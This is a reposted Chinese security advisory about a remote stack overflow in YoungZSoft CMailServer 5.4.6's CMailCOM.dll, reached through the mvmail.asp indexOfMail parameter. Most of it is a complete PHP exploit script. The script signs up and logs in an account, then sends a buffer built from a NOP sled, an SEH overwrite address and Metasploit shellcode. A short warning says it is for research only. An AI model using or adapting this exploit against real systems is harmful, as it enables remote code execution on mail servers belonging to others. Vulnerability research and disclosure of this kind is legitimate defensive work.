Youngzsoft CMailServer远程栈溢出漏洞-白红宇

Youngzsoft CMailServer远程栈溢出漏洞来源：bruiser 日期：2008-07-09 11:13:45

受影响系统：

YoungZSoft CMailServer 5.4.6

描述：

--------------------------------------------------------------------------------

BUGTRAQ ID: 30098

CMailServer是一款EMAIL服务程序，包含基于WEB的邮件服务系统。

CMailServer 所安装的POP3 Class ActiveX控件（CMailCOM.dll，CLSID 6971D9B8-B53E-4C25-A414-76199768A592）没有正确地验证对MoveToFolder()方式所提供的输入参数，如果远程攻击者向mvmail.asp提交了带有超长indexOfMail参数的POST请求的话，就可以触发栈溢出，导致执行任意代码。CLSID为 0609792F-AB56-4CB6-8909-19CDF72CB2A0的CMailCOM.SMTP类在处理AddAttach、 SetSubject、SetBcc、SetBody、SetCc、SetFrom、SetTo和SetFromUID方式时也存在类似的溢出。

<*来源：bruiser

链接：http://secunia.com/advisories/30940/

测试方法：

--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

error_reporting(7);$host=$argv[1];$path=$argv[2];

$argv[3] ? $port = (int) $argv[3] : $port = 80;

print ("CMailServer 5.4.6 mvmail.asp/CMailCOM.dll remote seh overwrite\n".

"exploit\n".

"by Nine:Situations:Group::bookoo\n");

$argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] `port`\n".

"example: php ".$argv[0]." 192.168.0.1 /mail/ \n".

" '' php ".$argv[0]." 192.168.0.1 / 81 \n");

$url = "http://$host:$port";

$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;

$win ? dl("php_curl.dll") : dl("php_curl.so");

//borrowed from bookoo

function send($packet,$out) {

global $url, $data;

if (!extension_loaded("curl"){

die("you need the curl extesion loaded to run...");

}

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_TIMEOUT, 5);

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $packet);

$data = curl_exec($ch); if (curl_errno($ch)) {

print curl_error($ch)."\n";

} else {

curl_close($ch);

}

if ($out) print($data."\n");

}

$agent="Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";

//subscribe

$usr="bookoo";$pwd="password";//new usr username & password, change

$d ="Signup=1&Account=$usr&Pass=$pwd&RePass=$pwd&UserName=&Comment=User&POP3Mail=%40ieqowieoqw.com";

$h ="POST ".$path."signup.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nConnection: Close\r\n\r\n$d";

send($h,0);

$tmp=explode("Set-Cookie: ",$data);

for ($i=1; $i<count($tmp);$i++){ $tmpi=explode(" ",$tmp[$i]);$sess=$tmpi[0];$pos=strpos($sess, "ASPSESSIONID"); if ($pos === true) break; echo $sess."\n";}

//login

$d ="User=$usr&Pass=$pwd&SaveUserPass=on";

$h ="POST ".$path."login.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nCookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;\r\nConnection: Close\r\n\r\n$d";

send($h,0);

//attack

//bad chars: \x3b \x2f

# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=Pex http://metasploit.com

$shellcode =

"\x2b\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xcf".

"\x67\x5f\x11\x83\xee\xfc\xe2\xf4\x33\x8f\x1b\x11\xcf\x67\xd4\x54".

"\xf3\xec\x23\x14\xb7\x66\xb0\x9a\x80\x7f\xd4\x4e\xef\x66\xb4\x58".

"\x44\x53\xd4\x10\x21\x56\x9f\x88\x63\xe3\x9f\x65\xc8\xa6\x95\x1c".

"\xce\xa5\xb4\xe5\xf4\x33\x7b\x15\xba\x82\xd4\x4e\xeb\x66\xb4\x77".

"\x44\x6b\x14\x9a\x90\x7b\x5e\xfa\x44\x7b\xd4\x10\x24\xee\x03\x35".

"\xcb\xa4\x6e\xd1\xab\xec\x1f\x21\x4a\xa7\x27\x1d\x44\x27\x53\x9a".

"\xbf\x7b\xf2\x9a\xa7\x6f\xb4\x18\x44\xe7\xef\x11\xcf\x67\xd4\x79".

"\xf3\x38\x6e\xe7\xaf\x31\xd6\xe9\x4c\xa7\x24\x41\xa7\x97\xd5\x15".

"\x90\x0f\xc7\xef\x45\x69\x08\xee\x28\x04\x3e\x7d\xac\x67\x5f\x11";

$jmp_short="\xeb\x10\x90\x90";

$seh="\xf1\xda\x02\x10"; #0x1002DAF1 cmailcom.dll / pop ecx - pop - ret

$nop=str_repeat("\x90",12648);

$bof= $nop . $jmp_short. $seh . str_repeat("\x90",24). $shellcode ;

$d="sel=aaaa&ToFolder=4&indexOfMail=".urlencode($bof)."&mailcount=1&pages=";

$h ="POST ".$path."mvmail.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nCookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;\r\nConnection: Close\r\n\r\n$d";

send($h,1);

建议：

--------------------------------------------------------------------------------

厂商补丁：

YoungZSoft

----------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.youngzsoft.com/tw/cmailserver/

本文转自gaodi2002 51CTO博客，原文链接:http://blog.51cto.com/gaodi2002/1618181